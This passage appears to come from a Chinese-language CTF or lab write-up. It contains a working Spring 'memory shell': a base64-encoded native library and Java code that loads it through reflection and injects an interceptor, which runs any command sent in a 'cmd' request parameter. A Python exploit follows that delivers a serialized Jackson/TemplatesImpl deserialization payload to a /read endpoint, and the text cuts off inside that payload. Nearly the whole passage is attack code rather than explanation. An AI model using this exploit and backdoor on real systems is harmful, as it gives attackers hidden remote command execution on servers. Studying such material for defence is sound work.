AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEQAAAAAAALARAAAAAAAAAQAAAAAAAACwAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAMAUAAAAAAAAGQAAAAAAAAAQPgAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAA8AIAAAAAAAAFAAAAAAAAAGgEAAAAAAAABgAAAAAAAAAYAwAAAAAAAAoAAAAAAAAA0AAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAwAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAAAwBgAAAAAAAAcAAAAAAAAAiAUAAAAAAAAIAAAAAAAAAKgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAWAUAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAA4BQAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAFAQAAAAAAAAYBAAAAAAAABwEAAAAAAAAIAQAAAAAAAAkBAAAAAAAACgEAAAAAAAAFhAAAAAAAAAR0NDOiAoVWJ1bnR1IDExLjMuMC0xdWJ1bnR1MX4yMi4wNCkgMTEuMy4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgBAEQAAAAAAAAAAAAAAAAAADgAAAAIADgBwEQAAAAAAAAAAAAAAAAAAIQAAAAIADgCwEQAAAAAAAAAAAAAAAAAANwAAAAEAGQBgQAAAAAAAAAEAAAAAAAAAQwAAAAEAFAAYPgAAAAAAAAAAAAAAAAAAagAAAAIADgDwEQAAAAAAAAAAAAAAAAAAdgAAAAEAEwAQPgAAAAAAAAAAAAAAAAAAlQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAmwAAAAEAEgDoIAAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAqQAAAAIADwDAFAAAAAAAAAAAAAAAAAAArwAAAAEAGABYQAAAAAAAAAAAAAAAAAAAvAAAAAEAFQAgPgAAAAAAAAAAAAAAAAAAxQAAAAAAEQAEIAAAAAAAAAAAAAAAAAAA2AAAAAEAGABgQAAAAAAAAAAAAAAAAAAA5AAAAAEAFwAAQAAAAAAAAAAAAAAAAAAA+gAAAAIACgAAEAAAAAAAAAAAAAAAAAAAAAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAlgEAABIADgD5EQAAAAAAAAABAAAAAAAAHAEAABIAAAAAAAAAAAAAAAAAAAAAAAAANwEAABIAAAAAAAAAAAAAAAAAAAAAAAAASgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfAEAABIADgD5EgAAAAAAAMUBAAAAAAAAngEAABAAAAAAAAAAAAAAAAAAAAAAAAAApQEAABAAAAAAAAAAAAAAAAAAAAAAAAAArQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwAEAACAAAAAAAAAAAAAAAAAAAAAAAAAA2gEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC4wAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBSY2UuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9pbml0AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfX3N0YWNrX2Noa19mYWlsQEdMSUJDXzIuNABtZW1zZXRAR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAZmVvZkBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBKYXZhX2NvbV9qYXZhc2VjX0NtZGNsYXNzX2V4ZWNDbWQAX3BvcGVuAF9wY2xvc2UAc3RyY2F0QEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAR0xJQkNfMi4yLjUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LnByb3BlcnR5AC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbH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";
public static native String execCmd(String cmd);
private static String LIB_PATH = "/tmp/cmd.so";
static {
try {
System.out.println("staart");
byte[] jniBytes = Base64.getDecoder().decode(soBase64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();
ClassLoader cmdLoader = Cmdclass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field nativeLibraries = classLoaderClazz.getDeclaredField("nativeLibraries");
nativeLibraries.setAccessible(true);
Vector<Object> libs = (Vector<Object>) nativeLibraries.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(Cmdclass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
nativeLibraries.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Cmdclass evilInterceptor = new Cmdclass();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
catch (Exception ex){
System.out.println(ex);
}
}


@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
PrintWriter printWriter = response.getWriter();
String res = Cmdclass.execCmd(cmd);
printWriter.println(res);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

这里需要注意,这个内存马的包名和上面我们的cmdClass必须全部对应,否则就会报错
然后用exp打入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

#结尾无 /
baseUrl = "http://127.0.0.1"
burp0_url = baseUrl + "/read"
burp0_headers = {"Transfer-Encoding": "chunked", "Content-Type": "text/plain", "Connection": "close"}
payload = """rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAH3QAKWNvbS5qYXZhc2VjLnBvY3MuamFja3Nvbi5CQVRlbXBsYXRlc0NoYWludAAVQkFUZW1wbGF0ZXNDaGFpbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAANaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHAAAHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkWwAMYWR2aXNvckFycmF5dAAiW0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9BZHZpc29yO0wAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnNxAH4AB0wACmludGVyZmFjZXNxAH4AB0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHVyACJbTG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLkFkdmlzb3I734MNrdIehHQCAAB4cAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN+JOcfcCAAB4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAB4c3EAfgAUAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAF4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAABvq8r+ur4AAAA0AT8KAEYAsQgAYQsAsgCzCAC0CwC1ALYLALUAtwoAHQC4CgC5ALoKALkAuwoAuQC8BwC9CgALAL4LAEcAvwsARwDACADBCQAdAMIIAMMJAB0AxAkAxQDGCADHCgDIALoKAMkAygoAywDMBwDNCADOCgAYAM8KABgA0AoAGAC8BwDRCgAjANIIANMKACMA1AgA1QgAjAcA1gcA1wkA2ADZCgAjANoKANsA3AgAjgoAIwDdCgDeANwKAN4A3wcA4AoAIwDhCgDiANwHAOMKANgA5AoA4gDlCgAsAOYKAN4A5woA2wDoCgDpAOoIAOsLAOwA7QcA7gcA7wsAOADwBwDxCADyBwDzCgA9AL4HAPQHAPUKAEAAvgoAHQCxCwA/APYIAPcKAMgA+AcA+QcA+gEACHNvQmFzZTY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAITElCX1BBVEgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vamF2YXNlYy9DbWRjbGFzczsBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAANyZXMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAA1TdGFja01hcFRhYmxlBwDRBwD7BwD8BwDjBwDXBwC9AQAKRXhjZXB0aW9ucwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwD9AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb